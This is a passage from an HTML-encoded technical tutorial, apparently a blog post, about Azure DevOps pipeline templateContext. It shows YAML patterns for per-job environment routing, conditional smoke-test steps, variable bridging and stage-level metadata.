style=\"color:#f92672\"\u003eazureSubscription\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003escriptType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebash\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003escriptLocation\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003einlineScript\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003einlineScript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    az webapp config container set \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      --resource-group \u0026#34;$(RESOURCE_GROUP)\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      --name \u0026#34;myapp-$(DEPLOY_ENV)\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      --docker-custom-image-name \u0026#34;${{ parameters.containerRegistry }}/myapp:${{ parameters.imageTag }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWithout \u003ccode\u003etemplateContext\u003c/code\u003e, routing each job to a different environment requires either hardcoding the environment name in the template or maintaining a parallel metadata array. With \u003ccode\u003etemplateContext\u003c/code\u003e, the relationship between job identity and deployment target is explicit in the pipeline file.\u003c/p\u003e\n\u003ch3 id=\"production-pattern-2--per-job-conditional-step-injection\"\u003eProduction Pattern 2 — Per-Job Conditional Step Injection\u003c/h3\u003e\n\u003cp\u003eA \u003ccode\u003etemplateContext\u003c/code\u003e boolean property can drive a compile-time \u003ccode\u003e${{ if }}\u003c/code\u003e block inside the template to add or remove steps for that specific job. The caller annotates individual jobs as needing additional steps without modifying the template:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — only prod gets smoke tests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-job.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e# no smoke tests for dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploy dev\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e      \u003cspan style=\"color:#75715e\"\u003e# inject smoke test steps for prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esmokeTestUrl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehttps://myapp.prod.example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploy prod\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-job.yml — conditional step injection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy.runOnce.deploy.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#75715e\"\u003e# Smoke tests are injected for this specific job at compile time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#ae81ff\"\u003e${{ if deploy.templateContext.runSmokeTests }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    echo \u0026#34;Running smoke tests against $SMOKE_URL\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    ./smoke-tests.sh --url \u0026#34;$SMOKE_URL\u0026#34; --timeout 120\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Smoke tests\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003eSMOKE_URL\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ coalesce(deploy.templateContext.smokeTestUrl, \u0026#39;http://localhost\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#ae81ff\"\u003e${{ if deploy.templateContext.runSmokeTests }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePublishTestResults@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Publish smoke test results\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003etestResultsFiles\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;**/smoke-results.xml\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003etestRunTitle\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Smoke Tests — ${{ deploy.templateContext.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e${{ if }}\u003c/code\u003e condition evaluates at compile time — either the smoke test steps appear in the Expanded YAML for that job or they do not. Adding smoke tests to a new environment requires only adding \u003ccode\u003erunSmokeTests: true\u003c/code\u003e to that job\u0026rsquo;s \u003ccode\u003etemplateContext:\u003c/code\u003e in the pipeline file.\u003c/p\u003e\n\u003ch3 id=\"production-pattern-3--per-job-variable-injection\"\u003eProduction Pattern 3 — Per-Job Variable Injection\u003c/h3\u003e\n\u003cp\u003eThe job-level \u003ccode\u003evariables:\u003c/code\u003e bridge makes \u003ccode\u003etemplateContext\u003c/code\u003e values available to every step in a job:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-job.yml — full variable bridge pattern\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# All templateContext values the steps in this job need\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDEPLOY_ENV\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRESOURCE_GROUP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ coalesce(deploy.templateContext.resourceGroup, \u0026#39;rg-default\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNOTIFICATION_CHANNEL\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ coalesce(deploy.templateContext.notificationChannel, \u0026#39;deployments\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAPPROVAL_GROUP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.approvalGroup }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy.runOnce.deploy.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Environment: $(DEPLOY_ENV)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Resource group: $(RESOURCE_GROUP)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Notifying channel: $(NOTIFICATION_CHANNEL)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deployment summary\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eInvokeRestAPI@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Notify Slack\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003econnectionType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econnectedServiceName\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-slack\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003emethod\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePOST\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    {\u0026#34;channel\u0026#34;: \u0026#34;$(NOTIFICATION_CHANNEL)\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;Deployed to $(DEPLOY_ENV)\u0026#34;}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eVariables declared in the job-level \u003ccode\u003evariables:\u003c/code\u003e block are readable by all steps in the job via \u003ccode\u003e$(VARIABLE_NAME)\u003c/code\u003e macro expansion. The compile-time expression resolves the \u003ccode\u003etemplateContext\u003c/code\u003e value before the variable is declared at runtime.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"templatecontext-with-stagelist\"\u003e\u003ccode\u003etemplateContext\u003c/code\u003e with \u003ccode\u003estageList\u003c/code\u003e\u003c/h2\u003e\n\u003ch3 id=\"stage-level-metadata\"\u003eStage-Level Metadata\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e works identically on stage definitions passed via a \u003ccode\u003estageList\u003c/code\u003e parameter. Place it as a sibling of \u003ccode\u003ejobs:\u003c/code\u003e inside the stage block:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — stages carrying region metadata\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan 